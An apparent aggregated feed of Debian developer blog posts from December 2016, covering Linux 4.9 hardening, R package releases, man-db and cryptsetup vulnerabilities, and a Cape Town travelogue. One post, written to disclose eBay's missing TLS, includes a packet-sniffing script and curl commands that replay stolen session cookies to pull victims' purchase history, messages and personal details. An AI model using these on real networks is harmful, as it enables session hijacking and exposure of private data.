Search Results: "reg"

12 December 2016

Kees Cook: security things in Linux v4.9

Previously: v4.8. Here are a bunch of security things I m excited about in the newly released Linux v4.9: Latent Entropy GCC plugin Building on her earlier work to bring GCC plugin support to the Linux kernel, Emese Revfy ported PaX s Latent Entropy GCC plugin to upstream. This plugin is significantly more complex than the others that have already been ported, and performs extensive instrumentation of functions marked with __latent_entropy. These functions have their branches and loops adjusted to mix random values (selected at build time) into a global entropy gathering variable. Since the branch and loop ordering is very specific to boot conditions, CPU quirks, memory layout, etc, this provides some additional uncertainty to the kernel s entropy pool. Since the entropy actually gathered is hard to measure, no entropy is credited , but rather used to mix the existing pool further. Probably the best place to enable this plugin is on small devices without other strong sources of entropy. vmapped kernel stack and thread_info relocation on x86 Normally, kernel stacks are mapped together in memory. This meant that attackers could use forms of stack exhaustion (or stack buffer overflows) to reach past the end of a stack and start writing over another process s stack. This is bad, and one way to stop it is to provide guard pages between stacks, which is provided by vmalloced memory. Andy Lutomirski did a bunch of work to move to vmapped kernel stack via CONFIG_VMAP_STACK on x86_64. Now when writing past the end of the stack, the kernel will immediately fault instead of just continuing to blindly write. Related to this, the kernel was storing thread_info (which contained sensitive values like addr_limit) at the bottom of the kernel stack, which was an easy target for attackers to hit. Between a combination of explicitly moving targets out of thread_info, removing needless fields, and entirely moving thread_info off the stack, Andy Lutomirski and Linus Torvalds created CONFIG_THREAD_INFO_IN_TASK for x86. CONFIG_DEBUG_RODATA mandatory on arm64 As recently done for x86, Mark Rutland made CONFIG_DEBUG_RODATA mandatory on arm64. This feature controls whether the kernel enforces proper memory protections on its own memory regions (code memory is executable and read-only, read-only data is actually read-only and non-executable, and writable data is non-executable). This protection is a fundamental security primitive for kernel self-protection, so there s no reason to make the protection optional. random_page() cleanup Cleaning up the code around the userspace ASLR implementations makes them easier to reason about. This has been happening for things like the recent consolidation on arch_mmap_rnd() for ET_DYN and during the addition of the entropy sysctl. Both uncovered some awkward uses of get_random_int() (or similar) in and around arch_mmap_rnd() (which is used for mmap (and therefore shared library) and PIE ASLR), as well as in randomize_stack_top() (which is used for stack ASLR). Jason Cooper cleaned things up further by doing away with randomize_range() entirely and replacing it with the saner random_page(), making the per-architecture arch_randomize_brk() (responsible for brk ASLR) much easier to understand. That s it for now! Let me know if there are other fun things to call attention to in v4.9.

2016, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

Dirk Eddelbuettel: RcppCCTZ 0.1.0

A new version 0.1.0 of RcppCCTZ arrived on CRAN this morning. It brings a number of new or updated things, starting with new upstream code from CCTZ as well as a few new utility functions. CCTZ is a C++ library for translating between absolute and civil times using the rules of a time zone. In fact, it is two libraries. One for dealing with civil time: human-readable dates and times, and one for converting between between absolute and civil times via time zones. It requires only a proper C++11 compiler and the standard IANA time zone data base which standard Unix, Linux, OS X, ... computers tend to have in /usr/share/zoneinfo. RcppCCTZ connects this library to R by relying on Rcpp. A nice example is the helloMoon() function (based on an introductory example in the CCTZ documentation) showing the time when Neil Armstrong took a small step, relative to local time in New York and Sydney: 
R> library(RcppCCTZ)
R> helloMoon(verbose=TRUE)
1969-07-20 22:56:00 -0400
1969-07-21 12:56:00 +1000
                   New_York                      Sydney 
"1969-07-20 22:56:00 -0400" "1969-07-21 12:56:00 +1000" 
R>
The new formating and parsing functions are illustrated below with default arguments for format strings and timezones. All this can be customized as usual. 
R> example(formatDatetime)
frmtDtR> now <- Sys.time()
frmtDtR> formatDatetime(now)            # current (UTC) time, in full precision RFC3339
[1] "2016-12-12T13:21:03.866711+00:00"
frmtDtR> formatDatetime(now, tgttzstr="America/New_York")  # same but in NY
[1] "2016-12-12T08:21:03.866711-05:00"
frmtDtR> formatDatetime(now + 0:4)     # vectorised
[1] "2016-12-12T13:21:03.866711+00:00" "2016-12-12T13:21:04.866711+00:00" "2016-12-12T13:21:05.866711+00:00"
[4] "2016-12-12T13:21:06.866711+00:00" "2016-12-12T13:21:07.866711+00:00"
R> example(parseDatetime)
prsDttR> ds <- getOption("digits.secs")
prsDttR> options(digits.secs=6) # max value
prsDttR> parseDatetime("2016-12-07 10:11:12",        "%Y-%m-%d %H:%M:%S");   # full seconds
[1] "2016-12-07 04:11:12 CST"
prsDttR> parseDatetime("2016-12-07 10:11:12.123456", "%Y-%m-%d %H:%M:%E*S"); # fractional seconds
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> parseDatetime("2016-12-07T10:11:12.123456-00:00")  ## default RFC3339 format
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> now <- trunc(Sys.time())
prsDttR> parseDatetime(formatDatetime(now + 0:4))               # vectorised
[1] "2016-12-12 07:21:17 CST" "2016-12-12 07:21:18 CST" "2016-12-12 07:21:19 CST"
[4] "2016-12-12 07:21:20 CST" "2016-12-12 07:21:21 CST"
prsDttR> options(digits.secs=ds)
R>
Changes in this version are summarized here:

Changes in version 0.1.0 (2016-12-11)
  • Synchronized with CCTZ upstream.
  • New parsing and formating helpers for Datetime vectors
  • New parsing and formating helpers for (two) double vectors representing full std::chrono nanosecond resolutions
  • Updated documentation and examples.

We also have a diff to the previous version thanks to CRANberries. More details are at the RcppCCTZ page; code, issue tickets etc at the GitHub repository.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

11 December 2016

Colin Watson: The sad tale of CVE-2015-1336

Today I released man-db 2.7.6 (announcement, NEWS, git log), and uploaded it to Debian unstable. The major change in this release was a set of fixes for two security vulnerabilities, one of which affected all man-db installations since 2.3.12 (or 2.3.10-66 in Debian), and the other of which was specific to Debian and its derivatives. It s probably obvious from the dates here that this has not been my finest hour in terms of responding to security issues in a timely fashion, and I apologise for that. Some of this is just the usual life reasons, which I shan t bore you by reciting, but some of it has been that fixing this properly in man-db was genuinely rather complicated and delicate. Since I ve previously advocated man-db over some of its competitors on the basis of a better security posture, I think it behooves me to write up a longer description. I took over maintaining man-db over fifteen years ago in slightly unexpected circumstances (I got annoyed with its bug list and made a couple of non-maintainer uploads, and then the previous maintainer died, so I ended up taking over both in Debian and upstream). I was a fairly new developer at the time, and there weren t a lot of people I could ask questions of, but I did my best to recover as much of the history as I could and learn from it. One thing that became clear very quickly, both from my own inspection and from the bug list, was that most of the code had been written in a rather more innocent time. It was absolutely riddled with dangerous uses of the shell, poor temporary file handling, buffer overruns, and various common-or-garden deficiencies of that kind. I spent several years reworking large swathes of the codebase to be more robust against those kinds of bugs by design, and for example libpipeline came out of that effort. The most subtle and risky set of problems came from the fact that the man and mandb programs were installed set-user-id to the man user. Part of this was so that man could maintain preformatted cat pages , and part of it was so that users could run mandb if the system databases were out of date (this is now much less useful since most package managers, including dpkg, support some kind of trigger mechanism that can run mandb whenever new system-level manual pages are installed). One of the first things I did was to make this optional, and this has been a disabled-by-default debconf option in Debian for a long time now. But it s still a supported option and is enabled by default upstream, and when running setuid man and mandb need to take care to drop privileges when dealing with user-controlled data and to write files with the appropriate ownership and permissions. My predecessor had problems related to this such as Debian #26002, and one of the ways they dealt with them was to make /var/cache/man/ set-group-id root, in order that files written to that directory would have consistent group ownership. This always struck me as rather strange and I meant to do something about it at some point, but until the first vulnerability report above I regarded it as mainly a curiosity, since nothing in there was group-writeable anyway. As a result, with the more immediate aim of making the system behave consistently and dealing with bug reports, various bits of code had accreted that assumed that /var/cache/man/ would be man:root 2755, and not all of it was immediately obvious. This interacted with the second vulnerability report in two ways. Firstly, at some level it caused it because I was dealing with the day-to-day problems rather than thinking at a higher level: a series of bugs led me down the path of whacking problems over the head with a recursive chown of /var/cache/man/ from cron, rather than working out why things got that way in the first place. Secondly, once I d done that, I couldn t remove the chown without a much more extensive excursion into all the code that dealt with cache files, for fear of reintroducing those bugs. So although the fix for the second vulnerability is very simple in itself, I couldn t get there without dealing with the first vulnerability. In some ways, of course, cat pages are a bit of an anachronism. Most modern systems can format pages quickly enough that it s not much of an issue. However, I m loath to drop the feature entirely: I m generally wary of assuming that just because I have a fast system that everyone does. So, instead, I did what I should have done years ago: make man and mandb set-group-id man as well as set-user-id man, at which point we can simply make all the cache files and directories be owned by man:man and drop the setgid bit on cache directories. This should be simpler and less prone to difficult-to-understand problems. I expect that my next substantial upstream release will switch to --disable-setuid by default to reduce exposure, though, and distributions can start thinking about whether they want to follow that (Fedora already does, for example). If this becomes widely disabled without complaints then that would be good evidence that it s reasonable to drop the feature entirely. I m not in a rush, but if you do need cat pages then now is a good time to write to me and tell me why. This is the fiddliest set of vulnerabilities I ve dealt with in man-db for quite some time, so I hope that if there are more then I can get back to my previous quick response time.

10 December 2016

Iain R. Learmonth: The Internet of Dangerous Auction Sites

It might be that the internet era of fun and games is over, because the internet is now dangerous. Bruce Schneier
Ok, I know this is kind of old news now, but Bruce Schneier gave testimony to the House of Representatives Energy & Commerce Committee about computer security after the Dyn attack. I m including this quote because I feel it sets the scene nicely for what follows here. Last week, I was browsing the popular online auction site eBay and I noticed that there was no TLS. For a moment, I considered that maybe my traffic was being intercepted deliberately, there s no way that eBay as a global company would be deliberately risking users in this way. I was wrong. There is not and has never been TLS for large swathes of the eBay site. In fact, the only point at which I ve found TLS is in their help pages and when it comes to entering card details (although it ll give you back the last 4 digits of your card over a plaintext channel). 
sudo apt install wireshark
# You'll want to allow non-root users to perform capture
sudo adduser  whoami  wireshark
# Log out and in again to assume the privileges you've granted yourself
What can you see? They first thing I d like to call eBay on is a statement in their webpage about Cookies, Web Beacons, and Similar Technologies:
We don t store any of your personal information on any of our cookies or other similar technologies.
Well eBay, I don t know about you, but for me my name is personal information. Ana, who investigated this with me, also confirmed that her name was present on her cookie when using her account. But to answer the question, you can see pretty much everything. Using the Observer module of PATHspider, which is essentially a programmable flow meter, let s take a look at what items users of the network are browsing: 
sudo apt install pathspider
The following is a Python 3 script that you ll need to run as root (for packet capturing) and will need to kill with ^C when you re done because I didn t give it an exit condition: 
import logging
import queue
import threading
import email
import re
from io import StringIO
import plt
from pathspider.observer import Observer
from pathspider.observer import basic_flow
from pathspider.observer.tcp import tcp_setup
from pathspider.observer.tcp import tcp_handshake
from pathspider.observer.tcp import tcp_complete
def tcp_reasm_setup(rec, ip):
        rec['payload'] = b''
        return True
def tcp_reasm(rec, tcp, rev):
        if not rev and tcp.payload is not None:
                rec['payload'] += tcp.payload.data
        return True
lturi = "int:wlp3s0" # CHANGE THIS TO YOUR NETWORK INTERFACE
logging.getLogger().setLevel(logging.INFO)
logger = logging.getLogger(__name__)
ebay_itm = re.compile("(?:item= itm(?:\/[^0-9][^\/]+)?\/)([0-9]+)")
o = Observer(lturi,
             new_flow_chain=[basic_flow, tcp_setup, tcp_reasm_setup],
             tcp_chain=[tcp_handshake, tcp_complete, tcp_reasm])
q = queue.Queue()
t = threading.Thread(target=o.run_flow_enqueuer,
                     args=(q,),
                     daemon=True)
t.start()
while True:
    f = q.get()
    # www.ebay.co.uk uses keep alive for connections, multiple requests
    # may be in a single flow
    requests = [x + b'\r\n' for x in f['payload'].split(b'\r\n\r\n')]
    for request in requests:
        if request.startswith(b'GET '):
            request_text = request.decode('ascii')
            request_line, headers_alone = request_text.split('\r\n', 1)
            headers = email.message_from_file(StringIO(headers_alone))
            if headers['Host'] != "www.ebay.co.uk":
                break
            itm = ebay_itm.search(request_line)
            if itm is not None and len(itm.groups()) > 0 and itm.group(1) is not None:
                logging.info("%s viewed item %s", f['sip'],
                             "http://www.ebay.co.uk/itm/" + itm.group(1))
Note: PATHspider s Observer won t emit a flow until it is completed, so you may have to close your browser in order for the TCP connection to be closed as eBay does use Connection: keep-alive. If all is working correctly (if it was really working correctly, it wouldn t be working because the connections would be encrypted, but you get what I mean ), you ll see something like: 
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/161990905666
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/311756208540
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/131911806454
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
It is left as an exercise to the reader to map the IP addresses to users. You do however have the hint that the first name of the user is in the cookie. This was a very simple example, you can also passively sniff the content of messages sent and recieved on eBay (though I ll admit email has the same flaw in a large number of cases) and you can also see the purchase history and cart contents when those screens are viewed. Ana also pointed out that when you browse for items at home, eBay may recommend you similar items and then those recommendations would also be available to anyone viewing the traffic at your workplace. Perhaps you want to see the purchase history but you re too impatient to wait for the user to view the purchase history screen. Don t worry, this is also possible. Three researchers from the Department of Computer Science at Columbia University, New York published a paper earlier this year titled The Cracked Cookie Jar: HTTP Cookie Hijacking and the Exposure of Private Information. In this paper, they talk about hijacking cookies using packet capture tools and then using the cookies to impersonate users when making requests to websites. They also detail in this paper a number of concerning websites that are vulnerable, including eBay. Yes, it s 2016, nearly 2017, and cookie hijacking is still a thing. You may remember Firesheep, a Firefox plugin, that could be used to hijack Facebook, Twitter, Flickr and other websites. It was released in October 2010 as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process. Six years later and eBay has not yet listened. So what is cookie hijacking all about? Let s get hands on. This time, instead of looking at the request line, look at the Cookie header. Just dump that out. Something like: 
print(headers['Cookie'])
Now you have the user s cookie and you can impersonate that user. Store the cookie in an environment variable named COOKIE and 
sudo apt install curl
# Get the purchase history
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/PurchaseHistory > history.html
# Get the current cart contents
curl --cookie "$COOKIE" http://cart.payments.ebay.co.uk/sc/view > cart.html
# Get the current bids/offers
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/BidsOffers > bids.html
# Get the messages list
curl --cookie "$COOKIE" http://mesg.ebay.co.uk/mesgweb/ViewMessages/0 > messages.html
# Get the watch list
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/WatchList > watch.html
I m sure you can use your imagination for more. One of my favourites is 
# Get the personal information
curl --cookie "$COOKIE" http://my.ebay.co.uk/ws/eBayISAPI.dll?MyeBay&CurrentPage=MyeBayPersonalInfo&gbh=1&ssPageName=STRK:ME:LNLK > personal.html
This one will give you the secret questions (but not the answers) and the last 4 digits of the registered card for a seller account. In the case of Mat Honan in 2012, the last 4 digits of his card number led to the loss of his Twitter account. The techniques I ve shown here do not seem to care where the request comes from. We tested using my cookie from Ana s laptop and also tried from a server hosted in the US (our routing origin is in Germany so this should have perhaps been a red flag). I could not find any interface through which I could query my login history, I m not sure what it would have shown. I m not a security researcher, though I do work as an Internet Engineering researcher. I m publishing this as these vulnerabilities have already been disclosed in the paper I linked above and I believe this is something that needs attention. Every time I pointed out to someone that eBay does not use TLS over the last week they were suprised, and often horrified. You might think that better validation of the source of the cookie might help, for instance, rejecting requests that suddenly come from other countries. As long as the attacker is on the path they have the ability to create flows that impersonate the host at the network layer. The only option here is to encrypt the flow and to ensure a means of authenticating the server, which is exactly what TLS provides. You might think that such attacks may never occur, but active probes in response to passive measurements have been observed. I would think that having all these cookies floating around the Internet is really just an invitation for those cookies to be abused by some intelligence service (or criminal organisation). I would be very surprised if such ideas had not already been explored, if not implemented, on a large scale. Please Internet, TLS already.

8 December 2016

Alessio Treglia: The new professionals of the interconnected world

interdisciplinary-learningThere is an empty chair at the conference table of business professionals, a not assigned place that increasingly demands for the presence of a new type of integration manager. The demands for an ever-increasing specialization, imposed by the modern world, are bringing out with great emphasis the need for an interdisciplinary professional who understands the demands of specialists and who is able to coordinate and to link actions and decisions. This need, often still ignored, is a direct result of the growing complexity of the modern world and the fast communications inside the network.

Complexity is undoubtedly the most suitable paradigm to characterize the historical and social model of today s world, in which the interactions and connections between the various areas now form an inextricable network of relations. Since the 60s and 70s a large group of scholars including the chemist Ilya Prigogine and the physicist Murray Gell-Mann began to study what would become a true Science of Complexity.

Yet this is not an entirely new concept: the term means composed of several parts connected to each other and dependent on each other , exactly as reality, nature, society, and the environment around us. A complex mode of thought integrates and considers all contexts, interconnections, interrelationships between the different realities as part of the vision.

What is professionalism? And who are professionals? What can define a professional? < > <Read More [by Fabio Marzocca]>

Vincent Fourmond: Finding zeros of data using QSoas

QSoas does not provide by default commands to detect zeros of data, and the reason for that is that it is simple, using the integrate command to convert this problem into a peak-finding problem, which can be solved using the find-peaks command. Here is that strategy applied to determining the zeros of the 0-th order bessel function:

QSoas> generate-buffer -10 10 bessel_j0(x) /samples=100001
QSoas> integrate
Current buffer now is: 'generated_int.dat'
QSoas> find-peaks
Found 6 peaks
buffer what x y index width left_width right_width
generated_int.dat min -8.6538 -0.201157042341714 6731 1.7798 0.905999999999999 0.873800000000001
generated_int.dat max -5.52 0.398165469321319 22400 2.2854 1.1862 1.0992
generated_int.dat min -2.4048 -0.403288737672291 37976 1.8232 0.973 0.850199999999999
generated_int.dat max 2.4048 2.53731134529594 62024 nan 2.2026 nan
generated_int.dat min 5.52 1.73585713830231 77600 nan 5.7198 nan
generated_int.dat max 8.6538 2.33517964996535 93269 nan 8.5532 nan

Compare that with the values given on Mathematica's website. This strategy is reasonably resistant to noise, since integration decreases high-frequency noise, but you may have to play with the /window option to find-peaks to avoid detecting the same zero (peak) several times.Hopefully, I'll come back with more regular postings of tips and tricks !

Dirk Eddelbuettel: RcppAPT 0.0.3

A new version of RcppAPT -- our interface from R to the C++ library behind the awesome apt, apt-get, apt-cache, ... commands and their cache powering Debian, Ubuntu and the like -- is now on CRAN. We changed the package to require C++11 compilation as newer Debian systems with g++-6 and the current libapt-pkg-dev library cannot build under the C++98 standard which CRAN imposes (and let's not get into why ...). Once set to C++11 we have no issues. We also added more examples to the manual pages, and turned on code coverage. A bit more information about the package is available here as well as as the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

7 December 2016

Shirish Agarwal: Day trip in Cape Town, part 2

Debconf16 logo The post continues from the last post shared. Let me get some interesting tit-bits not related to the day-trip out-of-the-way first I don t know whether we had full access to see all parts of fuller hall or not. Couple of days I was wondering around Fuller Hall, specifically next to where clothes were pressed. Came to know of the laundry service pretty late but still was useful. Umm next to where the ladies/gentleman pressed our clothes, there is a stairway which goes down. In fact even on the opposite side there is a stairway which goes down. I dunno if other people explored them or not. The jail inside and under UCT I was surprised and shocked to see bars in each room as well as connecting walkways etc. I felt a bit sad, confused and curious and went on to find more places like that. After a while I came up to the ground-level and enquired with some of the ladies therein. I was shocked to know that UCT some years ago (they were not specific) was a jail for people. I couldn t imagine that a place which has so much warmth (in people, not climate) could be evil in a sense. I was not able to get much information out of them about the nature of jail it was, maybe it is a dark past that nobody wants to open up, dunno. There were also two *important* aspects of UCT which Bernelle either forgot, didn t share or I just came to know via the Wikipedia page then but nothing else. 1. MeerKAT Apparently quite a bit of the technology was built-in UCT itself. This would have been interesting for geeks and wanna-be geeks like me 2. The OpenContent Initiative by UCT This would have been also something worth exploring. One more interesting thing which I saw was the French council in Cape Town from outside The French Council in cape town from outside I would urge to look at the picture in the gallery as the picture I shared doesn t really show all the details. For e.g. the typical large french windows which are the hall-mark of French architecture doesn t show its glory but if you look at 1306 2322 original picture instead of the 202 360 reproduction you will see that. You will also the insignia of the French Imperial Eagle whose history I came to know only after I looked it up on the Wikipedia page on that day. It seemed fascinating and probably would have the same pride as the State Emblem of India has for Indians with the four Asiatic Lions standing in a circle protecting each other. I also like the palm tree and the way the French Council seemed little and yet had character around all the big buildings. What also was interesting that there wasn t any scare/fear-build and we could take photos from outside unlike what I had seen and experienced in Doha, Qatar as far as photography near Western Embassies/Councils were concerned. One of the very eye-opening moments for me was also while I was researching flights from India to South Africa. While perhaps unconsciously I might have known that Middle East is close to India, in reality, it was only during the search I became aware that most places in Middle East by flight are only an hour or two away. This was shocking as there is virtually no mention of one of our neighbours when they are source of large-scale remittances every year. I mean this should have been in our history and geography books but most do not dwell on the subject. It was only during and after that I could understand Mr. Modi s interactions and trade policies with the Middle East. Another interesting bit was seeing a bar in a Sprinbok bus spingbok atlas bar in bus While admittedly it is not the best picture of the bar, I was surprised to find a bar at the back of a bus. By bar I mean a machine which can serve anything from juices to alcoholic drinks depending upon what is stocked. What was also interesting in the same bus is that the bus also had a middle entrance-and-exit. The middle door in springbok atlas This is something I hadn t seen in most Indian buses. Some of the Volvo buses have but it is rarely used (only except emergencies) . An exhaustive showcase of local buses can be seen here . I find the hand-drawn/cad depictions of all the buses by Amit Pense near to the T. Axe which can be used to break windows Emergency exit window This is also something which I have not observed in Indian inter-city buses (axe to break the window in case of accident and breakable glass which doesn t hurt anyone I presume), whether they are State-Transport or the high-end Volvo s . Either it s part of South African Roads Regulations or something that Springbok buses do for their customers. All of these queries about the different facets I wanted to ask the bus-driver and the attendant/controller but in the excitement of seeing, recording new things couldn t ask In fact one of the more interesting things I looked at and could look day and night is the variety of vehicles on display in Cape Town. In hindsight, I should have bought a couple of 128 GB MMC cards for my mobile rather than the 64 GB one. It was just plain inadequate to capture all that was new and interesting. Auditorum chair truck seen near Auditorium This truck I had seen about some 100 metres near the Auditorium on Upper Campus. The truck s design, paint was something I had never seen before. It is/was similar to casket trucks seen in movies but the way it was painted and everything made it special. What was interesting is to see the gamut of different vehicles. For instance, there were no bicycles that I saw in most places. There were mostly Japanese/Italian bikes and all sorts of trucks. If I had known before, I would definitely have bought an SD specifically to take snaps of all the different types of trucks, cars etc. that I saw therein. The adage/phrase I should stop in any one place and the whole world will pass me by seemed true on quite a few South African Roads. While the roads were on par or a shade better than India, many of those were wide roads. Seeing those, I was left imagining how the Autobahn in Germany and other high-speed Expressways would look n feel. India has also been doing that with the Pune-Mumbai Expressway and projects like Yamuna Expressway and now the extension Agra Lucknow Expressway but doing this all over India would take probably a decade or more. We have been doing it since a decade and a half. NHDP and PMGSY are two projects which are still ongoing to better the roads. We have been having issues as to should we have toll or no toll issues but that is a discussion for some other time. One of the more interesting sights I saw was the high-arched gothic-styled church from outside. This is near Longstreet as well. high arch gothic-styled church I have seen something similar in Goa, Pondicherry but not such high-arches. I did try couple of times to gain entry but one time it was closed, the other time some repairing/construction work was going on or something. I would loved to see it from inside and hopefully they would have had an organ (music) as well. I could imagine to some extent the sort of music that would have come out. Now that Goa has come in the conversation I can t help but state that Seafood enthusiasts/lover/aficionado, or/and Pescatarianism would have a ball of a time in Goa. Goa is on the Konkan coast and while I m eggie, ones who enjoy seafood really have a ball of a time in Goa. Fouthama s Festival which happens in February is particularly attractive as Goan homes are thrown open for people to come and sample their food, exchange recipes and alike. This happens around 2 weeks before the Goan Carnival and is very much a part of the mish-mashed Konkani-Bengali-Parsi-Portugese culture. I better stop here about the Goa otherwise I ll get into reminiscing mode. To put the story and event back on track from where we left of (no fiction hereon), Nicholas was in constant communication with base, i.e. UCT as well as another group who was hiking from UCT to Table Mountain. We waited for the other group to join us till 13:00 hrs. We came to know that they were lost and were trying to come up and hence would take more time. As Bernelle was with them, who was a local and she had two dogs who knew the hills quite well, it was decided to go ahead without them. We came down the same cable-car and then ventured on towards Houtbay. Houtbay has it all, a fisherman s wharf, actual boats with tough-mean looking men with tattoos working on boats puffing cigars/pipes, gaggle of sea-gulls, the whole scene. Sharing a few pictures of the way in-between. the view en-route to Houtbay western style car paint and repair shop Tajmahal Indian Restaurant, Houtbay I just now had a quick look at the restaurant and it seems they had options for veggies too. Unfortunately, the rating leaves a bit to be desired but then dunno as Indian flavoring is something that takes time to get used too. Zomato doesn t give any idea of from when a restaurant is in business and has too few reviews so not easy to know how the experience would have been. Chinese noodles and small houses Notice the pattern, the pattern of small houses I saw all the way till Houtbay and back. I do vaguely remember starting a discussion about it on the bus but don t really remember. I have seen (on TV) cities like Miami, Dubai or/and Hong Kong who have big buildings on the beach but both in Konkan as well as Houtbay there were small buildings. I guess a combination of zoning regulations, feel of community, fear of being flooded all play into beaches being the way they are. Also, this probably is good as less stress on the environment. Miamiboyz from Wikimedia Commons The above picture is taken from Wikipedia from the article Miami Beach, Florida for comparison. Audi rare car to be seen in India The Audi rare car to be seen in India. This car has been associated with Ravi Shastri when he won it in 1985. I was young but still get goosebumps remembering those days. first-glance-Houtbay-and-pier First glance of Houtbay beach and pier. Notice how clean and white the beach is. Wharf-Grill-Restaurant-from-side-and-Hop-on-Hop-off-bus You can see the wharf grill restaurant in the distance (side-view), see the back of the hop on and hop off bus (a concept which was unknown to me till then). Once I came back and explored on the web came to know this concept is prevalent in many a touristy places around the world. Umm also By sheer happenchance also captured a beautiful looking Indian female . So many things happening all at once In Hindi, we would call this picture virodabhas or contradiction . this is in afternoon, around 1430 hrs. You have the sun, the clouds, the Mountains, the x number of boats, the pier, the houses, the cars, the shops. It was all crazy and beautiful at the same time. The Biggest Contradiction is seeing the Mountain, the beach and the Sea in the same Picture. Baffled the mind. Konkan though is a bit similar there as well. You have all the three things in some places but that s a different experience altogether as ours is a more tropical weather although is one of the most romantic places in the rains. We were supposed to go on a short cruise to seal/dolphin island but as we were late (as had been waiting for the other group) didn t go and instead just loitered there. Fake-real lookout bar-restaurant IIRC the lookout bar is situated just next to Houtbay Search and Rescue. Although was curious if the Lookout tower was used in case of disappearance. lost people, boats etc. Seal in action Seal jumping over water, what a miracle ! One of the boats on which we possibly could have been on. It looked like the boat we could have been on. I clicked as I especially liked the name Calypso and Calypso . I shared the two links as the mythologies, interpretation differ a bit between Greek and Hollywood culture Debian folks and the area around Can see few Debian folks in the foreground, next to the Pole and the area around. Also can see a bit of the area around. Alone boy trying to surf I don t know anything about water sports and after sometime he came out. I was left wondering though, how safe he was in that water. While he was close to the pier and he was just paddling, there weren t big waves still felt a bit of concern. Mr. Seal - the actor and his handler While the act was not to the level we see in the movies, still for the time I hung around, I saw him showing attitude for his younger audiences, eating out of their hands, making funny sounds. Btw he farted a few times, whether that was a put-on or not can t really say but produced a few guffaws from his audience. A family feeding Mr. Seal I dunno why the birds came down for. Mr. Seal was being fed oily small fish parts, dunno if the oil was secreted by the fish themselves or whatever, it just looked oily from distance. Bird-Man-Bird Bird taking necessary sun bath typical equipment on a boat to catch fish-lot of nets boats-nets-and-ropes People working on disentangling a net There wasn t much activity on the time we went. It probably would have been different on sunrise and would be on sunset. The only activity I saw was on this boat where they were busy fixing and disentangling the lines. I came up with 5-15 different ideas for a story but rejected them as a. Probably all of them have been tried. People have been fishing since the beginning of time and modern fishing probably 200 odd years or so. I have read accounts of fishing companies in early 1800s onwards, so probably all must have been tried. b. More dangerous one, if there is a unique idea, then it becomes more dangerous as writing is an all-consuming process. Writing a blog post (bad or good) takes lots of time. I constantly read, re-read, try and improvise till I can or my patience loses out. In book you simply can t have such luxuries. hout-bay-search-and-rescue-no-parking-zone No parking/tow zone in/near the Houtbay search and rescue. Probably to take out emergency vehicles once something untoward happens. hout-bay-sea-rescue-with-stats Saved 54 lives, boats towed 154 Salut! Houtbay sea rescue. The different springbok atlas bus that we were on kraal-kraft The only small criticism is for Houtbay there wasn t a single public toilet. We had to ask favor at kraal kraft to use their toilets and there could have been accidents, it wasn t lighted well and water was spilled around. Road sign telling that we are near to UCT For us, because we were late we missed both the boat-cruise as well as some street shops selling trinkets. Other than that it was all well. We should have stayed till sunset, I am sure the view would have been breath-taking but we hadn t booked the bus till evening. Back at UCT Overall it was an interesting day as we had explored part of Table Mountain, seen the somewhat outrageously priced trinkets there as well as explored Houtbay sea-side as well.
Filed under: Miscellenous Tagged: #Audi, #Cape Town, #Cruises, #Debconf16, #French Council, #Geography, #Houtbay Sea Rescue, #Jail, #Middle East, #Springbok Atlas, #Vehicles

Jonas Meurer: On CVE-2016-4484, a (securiy)? bug in the cryptsetup initramfs integration

On CVE-2016-4484, a (security)? bug in the cryptsetup initramfs integration On November 4, I was made aware of a security vulnerability in the integration of cryptsetup into initramfs. The vulnerability was discovered by security researchers Hector Marco and Ismael Ripoll of CyberSecurity UPV Research Group and got CVE-2016-4484 assigned. In this post I'll try to reflect a bit on

What CVE-2016-4484 is all about Basically, the vulnerability is about two separate but related issues:

1. Initramfs rescue shell considered harmful The main topic that Hector Marco and Ismael Ripoll address in their publication is that Debian exits into a rescue shell in case of failure during initramfs, and that this can be triggered by entering a wrong password ~93 times in a row. Indeed the Debian initramfs implementation as provided by initramfs-tools exits into a rescue shell (usually a busybox shell) after a defined amount of failed attempts to make the root filesystem available. The loop in question is in local_device_setup() at the local initramfs script In general, this behaviour is considered as a feature: if the root device hasn't shown up after 30 rounds, the rescue shell is spawned to provide the local user/admin a way to debug and fix things herself. Hector Marco and Ismael Ripoll argue that in special environments, e.g. on public computers with password protected BIOS/UEFI and bootloader, this opens an attack vector and needs to be regarded as a security vulnerability:
It is common to assume that once the attacker has physical access to the computer, the game is over. The attackers can do whatever they want. And although this was true 30 years ago, today it is not. There are many "levels" of physical access. [...] In order to protect the computer in these scenarios: the BIOS/UEFI has one or two passwords to protect the booting or the configuration menu; the GRUB also has the possibility to use multiple passwords to protect unauthorized operations. And in the case of an encrypted system, the initrd shall block the maximum number of password trials and prevent the access to the computer in that case.
While Hector and Ismael have a valid point in that the rescue shell might open an additional attack vector in special setups, this is not true for the vast majority of Debian systems out there: in most cases a local attacker can alter the boot order, replace or add boot devices, modify boot options in the (GNU GRUB) bootloader menu or modify/replace arbitrary hardware parts. The required scenario to make the initramfs rescue shell an additional attack vector is indeed very special: locked down hardware, password protected BIOS and bootloader but still local keyboard (or serial console) access are required at least. Hector and Ismael argue that the default should be changed for enhanced security:
[...] But then Linux is used in more hostile environments, this helpful (but naive) recovery services shall not be the default option.
